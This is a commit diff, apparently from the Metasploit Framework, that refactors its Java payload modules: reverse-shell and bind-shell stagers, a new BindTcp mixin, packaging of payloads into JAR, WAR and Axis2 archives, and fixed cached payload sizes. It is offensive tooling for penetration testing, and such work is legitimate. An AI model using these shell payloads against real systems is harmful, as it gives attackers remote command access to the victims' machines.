Skip to content

Commit ffee0ff

Browse files
OJOJ
committed
Fix payload cache size issue, fix shell/bind payloads
1 parent 917b456 commit ffee0ff

File tree

10 files changed

+124
-82
lines changed

10 files changed

+124
-82
lines changed

‎lib/msf/core/payload/java.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def generate_jar(opts={})
5858

5959
jar = Rex::Zip::Jar.new
6060
jar.add_sub("metasploit") if opts[:random]
61-
jar.add_file("metasploit.dat", stager_config)
61+
jar.add_file("metasploit.dat", stager_config(opts))
6262
jar.add_files(paths, MetasploitPayloads.path('java'))
6363
jar.build_manifest(:main_class => main_class)
6464

@@ -105,7 +105,7 @@ def generate_war(opts={})
105105
zip.add_file('WEB-INF/web.xml', web_xml)
106106
zip.add_file("WEB-INF/classes/", "")
107107
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
108-
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config)
108+
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts))
109109

110110
zip
111111
end
@@ -140,7 +140,7 @@ def generate_axis2(opts={})
140140
zip.add_file('META-INF/', '')
141141
zip.add_file('META-INF/services.xml', services_xml)
142142
zip.add_files(paths, MetasploitPayloads.path('java'))
143-
zip.add_file('metasploit.dat', stager_config)
143+
zip.add_file('metasploit.dat', stager_config(opts))
144144
zip.build_manifest(:app_name => app_name)
145145

146146
zip

‎lib/msf/core/payload/java/bind_tcp.rb

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/transport_config'
5+
require 'msf/core/payload/uuid/options'
6+
7+
module Msf
8+
9+
###
10+
#
11+
# Complex payload generation for Java that speaks TCP
12+
#
13+
###
14+
15+
module Payload::Java::BindTcp
16+
17+
include Msf::Payload::TransportConfig
18+
include Msf::Payload::Java
19+
include Msf::Payload::UUID::Options
20+
21+
#
22+
# Register Java reverse_http specific options
23+
#
24+
def initialize(*args)
25+
super
26+
register_advanced_options([
27+
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
28+
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
29+
])
30+
end
31+
32+
#
33+
# Generate the transport-specific configuration
34+
#
35+
def transport_config(opts={})
36+
transport_config_bind_tcp(opts)
37+
end
38+
39+
def include_send_uuid
40+
false
41+
end
42+
43+
#
44+
# Generate configuration that is to be included in the stager.
45+
#
46+
def stager_config(opts={})
47+
ds = opts[:datastore] || datastore
48+
spawn = ds["Spawn"] || 2
49+
c = ""
50+
c << "Spawn=#{spawn}\n"
51+
pass = ds["AESPassword"] || ''
52+
if pass != ""
53+
c << "AESPassword=#{pass}\n"
54+
end
55+
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
56+
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
57+
58+
c
59+
end
60+
61+
def class_files
62+
# TODO: we should handle opts in class_files as well
63+
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
64+
[
65+
["metasploit", "AESEncryption.class"],
66+
]
67+
else
68+
[]
69+
end
70+
end
71+
72+
end
73+
74+
end

‎lib/msf/core/payload/java/reverse_http.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,8 @@ module Payload::Java::ReverseHttp
2424
def initialize(*args)
2525
super
2626
register_advanced_options([
27-
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
27+
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
28+
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
2829
])
2930
end
3031

‎lib/msf/util/payload_cached_size.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ class PayloadCachedSize
2929
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
3030
'RC4PASSWORD' => 'Metasploit',
3131
'DNSZONE' => 'corelan.eu',
32-
'PEXEC' => '/bin/sh'
32+
'PEXEC' => '/bin/sh',
33+
'StagerURILength' => 5
3334
},
3435
'Encoder' => nil,
3536
'DisableNops' => true

‎modules/payloads/singles/java/shell_reverse_tcp.rb

Lines changed: 24 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -16,37 +16,24 @@ module MetasploitModule
1616
include Msf::Payload::Java
1717
include Msf::Sessions::CommandShellOptions
1818

19-
def initialize(info = {})
19+
def initialize(info={})
2020
super(merge_info(info,
21-
'Name' => 'Java Command Shell, Reverse TCP Inline',
22-
'Description' => 'Connect back to attacker and spawn a command shell',
23-
'Author' => [
24-
'mihi', # all the hard work
25-
'egypt' # msf integration
26-
],
27-
'License' => MSF_LICENSE,
28-
'Platform' => [ 'java' ],
29-
'Arch' => ARCH_JAVA,
30-
'Handler' => Msf::Handler::ReverseTcp,
31-
'Session' => Msf::Sessions::CommandShell,
32-
'Payload' =>
33-
{
34-
'Offsets' => { },
35-
'Payload' => ''
36-
}
21+
'Name' => 'Java Command Shell, Reverse TCP Inline',
22+
'Description' => 'Connect back to attacker and spawn a command shell',
23+
'Author' => ['mihi', 'egypt'],
24+
'License' => MSF_LICENSE,
25+
'Platform' => ['java'],
26+
'Arch' => ARCH_JAVA,
27+
'Handler' => Msf::Handler::ReverseTcp,
28+
'Session' => Msf::Sessions::CommandShell,
29+
'Payload' => {'Offsets' => {}, 'Payload' => ''}
3730
))
38-
@class_files = [
39-
[ "metasploit", "Payload.class" ],
40-
[ "javapayload", "stage", "Stage.class" ],
41-
[ "javapayload", "stage", "StreamForwarder.class" ],
42-
[ "javapayload", "stage", "Shell.class" ],
43-
]
4431
end
4532

4633
def generate_jar(opts={})
4734
jar = Rex::Zip::Jar.new
4835
jar.add_sub("metasploit") if opts[:random]
49-
@class_files.each do |path|
36+
class_files.each do |path|
5037
1.upto(path.length - 1) do |idx|
5138
full = path[0,idx].join("/") + "/"
5239
if !(jar.entries.map{|e|e.name}.include?(full))
@@ -57,20 +44,29 @@ def generate_jar(opts={})
5744
jar.add_file(path.join("/"), data)
5845
end
5946
jar.build_manifest(:main_class => "metasploit.Payload")
60-
jar.add_file("metasploit.dat", stager_config)
47+
jar.add_file("metasploit.dat", stager_config(opts))
6148

6249
jar
6350
end
6451

65-
def stager_config
52+
def stager_config(opts={})
53+
ds = opts[:datastore] || datastore
6654
c = ""
67-
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
68-
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
55+
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
56+
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
6957
# Magical, means use stdin/stdout. Used for debugging
7058
#c << "LPORT=0\n"
7159
c << "EmbeddedStage=Shell\n"
7260

7361
c
7462
end
7563

64+
def class_files
65+
[
66+
['metasploit', 'Payload.class'],
67+
['javapayload', 'stage', 'Stage.class'],
68+
['javapayload', 'stage', 'StreamForwarder.class'],
69+
['javapayload', 'stage', 'Shell.class'],
70+
]
71+
end
7672
end

‎modules/payloads/stagers/java/bind_tcp.rb

Lines changed: 14 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -5,58 +5,27 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/bind_tcp'
8-
require 'msf/base/sessions/command_shell'
9-
require 'msf/base/sessions/command_shell_options'
8+
require 'msf/core/payload/java/bind_tcp'
109

1110
module MetasploitModule
1211

13-
CachedSize = 5105
12+
CachedSize = 5118
1413

1514
include Msf::Payload::Stager
1615
include Msf::Payload::Java
16+
include Msf::Payload::Java::BindTcp
1717

18-
def initialize(info = {})
18+
def initialize(info={})
1919
super(merge_info(info,
20-
'Name' => 'Java Bind TCP Stager',
21-
'Description' => 'Listen for a connection',
22-
'Author' => [
23-
'mihi', # all the hard work
24-
'egypt', # msf integration
25-
],
26-
'License' => MSF_LICENSE,
27-
'Platform' => 'java',
28-
'Arch' => ARCH_JAVA,
29-
'Handler' => Msf::Handler::BindTcp,
30-
'Convention' => 'javasocket',
31-
'Stager' => {'Payload' => ""}
32-
))
33-
34-
register_advanced_options(
35-
[
36-
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
37-
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
38-
], self.class
39-
)
40-
41-
@class_files = [ ]
42-
end
43-
44-
def stager_config
45-
spawn = datastore["Spawn"] || 2
46-
c = ""
47-
c << "Spawn=#{spawn}\n"
48-
pass = datastore["AESPassword"] || ""
49-
if pass != ""
50-
c << "AESPassword=#{pass}\n"
51-
@class_files = [
52-
[ "metasploit", "AESEncryption.class" ],
53-
]
54-
else
55-
@class_files = [ ]
56-
end
57-
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
58-
59-
c
20+
'Name' => 'Java Bind TCP Stager',
21+
'Description' => 'Listen for a connection',
22+
'Author' => ['mihi', 'egypt'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'java',
25+
'Arch' => ARCH_JAVA,
26+
'Handler' => Msf::Handler::BindTcp,
27+
'Convention' => 'javasocket',
28+
'Stager' => {'Payload' => ''}
29+
))
6030
end
61-
6231
end

‎modules/payloads/stagers/java/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = :dynamic
12+
CachedSize = 5123
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Java

‎modules/payloads/stagers/java/reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = :dynamic
13+
CachedSize = 5932
1414

1515
include Msf::Payload::Stager
1616
include Msf::Payload::Java

‎modules/payloads/stagers/java/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ module MetasploitModule
1515
include Msf::Payload::Java
1616
include Msf::Payload::Java::ReverseTcp
1717

18-
def initialize(info = {})
18+
def initialize(info={})
1919
super(merge_info(info,
2020
'Name' => 'Java Reverse TCP Stager',
2121
'Description' => 'Connect back stager',

‎spec/support/shared/examples/payload_cached_size_is_consistent.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -101,7 +101,8 @@
101101
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
102102
'RC4PASSWORD' => 'Metasploit',
103103
'DNSZONE' => 'corelan.eu',
104-
'PEXEC' => '/bin/sh'
104+
'PEXEC' => '/bin/sh',
105+
'StagerURILength' => 5
105106
},
106107
'Encoder' => nil,
107108
'DisableNops' => true

0 commit comments

Comments
 (0)